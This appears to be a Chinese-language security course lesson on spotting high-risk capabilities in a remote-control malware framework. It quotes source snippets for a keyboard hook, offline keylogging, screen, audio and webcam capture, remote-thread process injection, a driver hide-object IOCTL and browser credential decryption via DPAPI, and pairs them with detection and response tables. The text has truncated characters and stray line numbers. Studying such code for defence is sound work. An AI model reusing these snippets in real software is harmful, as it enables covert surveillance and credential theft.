第 45 课:高危能力综合识别
# 第 45 课:高危能力综合识别
免责声明:本专栏仅用于安全工程学习研究,禁止使用本专栏介绍的技术做其他用途,否则后果自负,与本号无关。
前面专栏已经分别讲过键盘记录、屏幕采集、后台窗口、摄像头、播放监听、语音监听、代理映射、压力测试、注入、驱动和凭据读取。本课把这些能力放到一起,从企业安全工程角度做综合识别:哪些能力最危险,哪API 和文件是关键证据,如何把单点信号升级成高可信事件。

# 1. 高危能力为什么要综合。
单个 API 不一定恶意。比如 BitBlt 可以用于截图工具,waveInOpen 可以用于会议软件,CryptUnprotectData 可以用于合法凭据保护。但如果这些行为出现在同一个远控式框架里,并且伴随网络命令、数据压缩、结果外发、持久化或注入,就必须提高优先级。
综合识别的核心是三句话:
| 原则 | 解释 |
|---|---|
| 看行为组 | 不只看一API |
| 看上下文 | 谁调用、访问谁、什么时候调 |
| 看数据流 | 采集的数据是否被压缩、格式化、外 |
依赖说明: 本课横向引用前面多个模块和库:DirectInput、GDI/JPEG/zlib、DirectShow/Xvid、WASAPI、waveIn/G.729、WinSock/HPSocket、MemoryModule/yapi、SQLite/OpenSSL/cJSON/base64 Windows 驱动接口。综合识别时不要把这些依赖孤立看待,要看它们是否与远程命令、压缩、缓存、外发、持久化或注入连成数据流。
# 2. 高危行为分类

| 类别 | 代表模块 | 典型信号 | 风险 |
|---|---|---|---|
| 输入采集 | 键盘记录、远程交 | 键盘 Hook、离线记录、剪贴板更新 | 凭据、隐私泄 |
| 画面采集 | 高速屏幕、差异屏幕、后台窗 | BitBlt、GetDIBits、窗口枚 | 屏幕内容泄露 |
| 音视频采 | 视频查看、播放监听、语音监 | 摄像头、WASAPI loopback、waveInOpen | 隐私和会议内容泄 |
| 进程注入 | 注入管理、系统管理部分能 | VirtualAllocEx、远程线程、APC | 进程边界突破 |
| 内核能力 | 驱动插件 | 驱动服务、IOCTL、设备对象 | 内核级隐藏和破坏 |
| 凭据读取 | 解密数据 | 浏览器数据库、DPAPI、AES-GCM | 账号资产失陷 |
# 3. 输入采集:键盘和剪贴。
键盘相关能力分散在多个模块里。远程交谈模块使用低级键Hook,键盘记录模块则通过注册表开关控制离线记录。
// 源码位置:主插件\远程交谈\远程交谈\ChatManager.cpp,约112-120 void SetHook()
{
g_hKeyBoard = SetWindowsHookEx(
WH_KEYBOARD_LL,
KeyBoardProc,
GetModuleHandle(NULL),
0);
// 防御分析:低级键Hook 需要结合进程身份判断 // 聊天软件、输入法可能合法;未知远控进程应高优先级处理}
2
3
4
5
6
7
8
9
// 源码位置:主插件\键盘记录\键盘记录\KeyboardManager.cpp,约262-302 case COMMAND_KEYBOARD_OLKEYLOG_START:
{
HKEY hKey;
::RegOpenKeyEx(HKEY_CURRENT_USER, _T("key"), 0, KEY_SET_VALUE, &hKey);
::RegDeleteValue(hKey, _T("open"));
if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("key"), &hKey))
{
RegSetValueEx(hKey, _T("open"), 0, REG_BINARY, (unsigned char*)(_T("1")), 4);
}
// 防御分析:注册表开关控制离线键盘记录,
// 应纳入输入采集类高危配置检测}
2
3
4
5
6
7
8
9
10
11
12
13
# 4. 画面采集:屏幕和窗口内容
屏幕模块常见信号GDI 截图 API。合法截图工具也会调用这API,所以要结合调用频率、父进程、网络外发和是否由远程命令触发。
// 源码位置:主插件\高速屏幕\高速屏幕\ScreenSpy.cpp,约100-116 BYTE algorithm = (BYTE)m_bAlgorithm;
WriteChangedBuffer((LPBYTE)&algorithm, sizeof(algorithm));
::BitBlt(
m_hLastMemDC,
0,
0,
m_nFullWidth,
m_nFullHeight,
m_hDeskTopDC,
iScreenX,
iScreenY,
m_dwBitBltRop);
// 防御分析:BitBlt 高频调用后紧跟压缩和网络发送,
// 比单次截API 更值得关注?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 5. 音频和摄像头采集
播放监听使用 WASAPI loopback 捕获系统播放声音,语音监听使用 waveInOpen 打开麦克风输入。它们的共同点是访问音频设备后,把音频帧通过网络发送。
// 源码位置:主插件\播放监听\播放监听\AudioCapture.cpp,约54-69 hr = pthis->m_pDevice->Activate(
__uuidof(IAudioClient),
CLSCTX_ALL,
NULL,
(void**)&pAudioClient);
hr = pAudioClient->Initialize(
AUDCLNT_SHAREMODE_SHARED,
AUDCLNT_STREAMFLAGS_LOOPBACK,
0,
0,
pwfx,
0);
hr = pAudioClient->Start();
// 防御分析:AUDCLNT_STREAMFLAGS_LOOPBACK 表示采集系统播放音频// 需要与进程身份、用户授权和网络发送关联?
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 源码位置:主插件\语音监听\语音监听\WaveIn.cpp,约93-124 BOOL CWaveIn::OpenDev()
{
WAVEFORMATEX wfx;
wfx.wFormatTag = WAVE_FORMAT_PCM;
wfx.nChannels = m_wChannel;
wfx.nSamplesPerSec = m_dwSample;
wfx.wBitsPerSample = m_wBit;
m_mmr = waveInOpen(0, WAVE_MAPPER, &wfx, 0, 0, WAVE_FORMAT_QUERY);
m_mmr = waveInOpen(&m_hIn, WAVE_MAPPER, &wfx, m_dwAudioInId, s_dwInstance, CALLBACK_THREAD);
// 防御分析:麦克风打开行为需要结合用户前台活动和进程可信度判断}
2
3
4
5
6
7
8
9
10
11
12
摄像头模块则通过设备枚举和帧发送实现远程查看。
// 源码位置:主插件\视频查看\视频查看\VideoManager.cpp,约37-633-100 void CVideoManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
switch (lpBuffer[0])
{
case COMMAND_WEBCAM_RESIZE:
m_SelectedDevice = *((LPDWORD)(lpBuffer + 9));
ResetScreen(*((LPDWORD)(lpBuffer + 1)), *((LPDWORD)(lpBuffer + 5)));
break;
}
}
void CVideoManager::sendNextScreen()
{
LPVOID lpDIB = m_pCapVideo->GetDIB();
// 防御分析:摄像头帧数据被打包发送,应与设备访问权限提示 // 进程签名和网络会话一起分析}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 6. 进程注入和内核能。
注入管理和驱动插件是本套源码中最需要优先处理的两类能力。前者突破进程边界,后者进入内核边界。
// 源码位置:主插件\注入管理\注入管理\InjectManager.cpp,约967-979 LPVOID RemotlpAddress = VirtualAllocEx(
hProc,
NULL,
dwSize,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
WriteProcessMemory(hProc, RemotlpAddress, lpAddress, dwSize, NULL);
CreateRemoteThread(hProc, NULL, 0, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, 0, NULL);
// 防御分析:这段只用于识别高危链// RWX 私有页、远程写入、远程线程同时出现时应高优先级处置?
2
3
4
5
6
7
8
9
10
11
12
// 源码位置:主插件\驱动插件\驱动插件\HiddenLib.cpp,约336-365 DeviceIoControl(
context->hdevice,
HID_IOCTL_ADD_HIDDEN_OBJECT,
hide,
(DWORD)size,
&result,
sizeof(result),
&returned,
NULL);
// 防御分析:未知用户态进程向未知驱动发送隐藏对象类 IOCTL// 是内核级高风险信号?
2
3
4
5
6
7
8
9
10
11
12
# 7. 凭据读取
凭据读取模块的高危点是浏览器敏感文件、DPAPI 和网络外发组合。
// 源码位置:主插件\解密数据\解密数据\GetBrowserInfo.cpp,约456-464 DATA_BLOB dataIn = { (DWORD)encryptedKeyLength - 5, (BYTE*)(encryptedKey + 5) };
if (!CryptUnprotectData(&dataIn, NULL, NULL, NULL, NULL, 0, pDatab))
{
return false;
}
// 防御分析:非浏览器进程读Local State 后调用 CryptUnprotectData// 再访SQLite 登录数据,是凭据读取链的重要证据?
2
3
4
5
6
7
8
9
# 8. 跨模块关联时。

一个高可信事件通常不是单点触发,而是多模块、多层信号叠加:
控制命令到达?
插件进入对应能力分支?
访问敏感资源,例如键盘、屏幕、音频、浏览器文件、目标进程或内核设备?
对数据进行压缩、格式化或封装?
通过既有连接外发。
# 9. 企业检测分。

| 层级 | 代表数据 | 适合发现什 |
|---|---|---|
| 端点进程 | 进程树、模块、句柄、线 | 注入、Hook、异常父子进 |
| 内存 | RWX、私有可执行页、线程入口 | 代码块注入 |
| 系统配置 | 注册表、服务、计划任务、驱 | 持久化、驱动加 |
| 数据访问 | 浏览器文件、Cookie、DPAPI | 凭据读取 |
| 外设 | 摄像头、麦克风、音loopback | 隐私采集 |
| 网络 | 长连接、协token、发送频 | 远程控制和数据外 |
# 10. 响应优先。

| 信号组合 | 优先 | 建议动作 |
|---|---|---|
| 单次截图 API,无外发 | 核对业务软件和用户操 | |
| 高频截图 + 压缩 + 外发 | 保全进程和网络证据,评估隔离 | |
| 浏览器凭据读+ DPAPI + 外发 | 立即保护账号资产,重置相关凭 | |
| RWX + 远程线程 | 隔离主机,分析源/目标进程 | |
| 驱动加载 + 隐藏对象 IOCTL | 最 | 断网保全,进行内核侧排查 |
| 持久+ 注入 + 凭据读取 | 最 | 按失陷主机处 |
# 11. 合法练习:
从第 23-36 课中任3 个模块,列出它们的“敏感资源、关API、外发数据”?
设计一条跨模块关联规则:持久化变更10 分钟内出现屏幕采集或凭据读取?
解释为什么
CryptUnprotectData、BitBlt、waveInOpen单独出现不一定恶意,但组合到远控链路中风险会升高?给企SOC 写一份事件分级建议,说明哪些信号需要立即隔离主机。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言